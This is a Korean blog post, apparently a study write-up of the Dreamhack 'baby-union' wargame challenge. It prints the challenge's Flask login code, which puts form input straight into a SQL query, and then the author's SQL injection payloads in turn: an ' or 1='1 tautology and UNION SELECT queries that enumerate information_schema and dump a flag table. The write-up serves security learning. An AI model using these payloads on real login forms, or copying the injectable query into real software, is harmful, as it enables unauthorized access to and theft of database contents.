촉촉한초코칩
Dreamhack - baby-union 본문
코드
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
uid와 upw를 입력받고 fetchall 함수 결과에 따라 flag가 출력된다.
fetchall() : 레코드를 배열 형식으로 저장해주는 함수 (한번에 모든 row 읽기)
→ select문에 맞는 열이 데이터가 있어야 출력이 됨
공격 (참고 : https://studysteadily.tistory.com/18)
SELECT * FROM users WHERE uid='' and upw='';
입력값 : uid = a, upw = ' or 1='1
select * from users where uid ='a' and upw ='' or 1='1';
여기가 user page인데..
아이디를 admin으로 입력해보았다.
입력값 : uid = admin, upw = ' or 1='1
select * from users where uid ='admin' and upw ='' or 1='1';
위 표랑 똑같이 나옴
문제 이름이 union이라서 한번 union을 써보았다.
1) db 정보 확인 하기
입력값 : uid = admin, upw = 1' union select 1,2,3,database() #
select * from users where uid ='admin' and upw ='1' union select 1,2,3,database() #';
2) 테이블 정보
입력값 : uid = admin, upw = 1' union select 1, 2, 3, table_name from information_schema.tables where table_schema = 'secret_db' #
select * from users where uid ='admin' and upw ='1' union select 1, 2, 3, table_name from information_schema.tables where table_schema = 'secret_db' #';
3) column 이름 확인
입력값 : uid = admin, upw = 1' union select 1,2,3 column_name from information_shcema.columns where table_name = 'onlyflag' #
select * from users where uid ='admin' and upw ='1' union select 1,2,3 column_name from information_shcema.columns where table_name = 'onlyflag' #';
여기서 막혔다.. 어떻게 해도 출력이 안돼서 문제를 다시 봤는데 sql 하나 주어진 게 있었다. (테이블, 칼럼명은 실제 이름과 다름)
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
입력값 : uid = admin, upw = 1' union select * from onlyflag #
select * from users where uid ='admin' and upw ='1' union select * from onlyflag #';
입력값 : uid = admin, upw = 1' union select 1,2,flag from onlyflag #
select * from users where uid ='admin and upw='1' union select 1,2,flag from onlyflag # ';
입력값 : uid = admin, upw = ' union select * from onlyflag #
select * from users where uid ='admin' and upw='' union select * from onlyflag #';
입력값 : uid = admin, upw = 1' union select table name from information_schema.columns where column_name='idx' #
select * from users where uid ='admin' and upw='1' union select table name from information_schema.columns where column_name='idx' #';
검색찬스..ㅎ https://velog.io/@sy460129/Dreamhack-baby-union
입력값 : uid = admin, upw = 1' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #
select * from users where uid ='admin' and upw ='1' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #';
칼럼 개수에 맞게 null을 넣어줘야 하나보다.....
칼럼명도 알았으니 적용해본다.
1' union select sname, svalue, sflag, sclose from onlyflag #
이대로 입력했는데 틀렸다고 나왔다.
select 할 때 입력한 칼럼 수는 4개인데 출력된 결과는 3개이다. 하나를 더 출력시키기 위해 null을 사용한다.
1' union select svalue, sflag,null, sclose from onlyflag #
정리
- information_schema : DB 전체 테이블의 정보를 담고 있는 메타 테이블
- 이름이나 개수 맞출 때 * 대신 null을 사용하기
'Study > Web Hacking' 카테고리의 다른 글
wargamme.kr - tmitter (1) | 2024.09.13 |
---|---|
Dreamhack - login filtering (1) | 2024.09.06 |
Dreamhack - command-injection-chatgpt (0) | 2024.08.25 |
Dreamhack - error based sql injection (0) | 2024.08.15 |
Dreamhack - simple_sqli_chatgpt (0) | 2024.08.14 |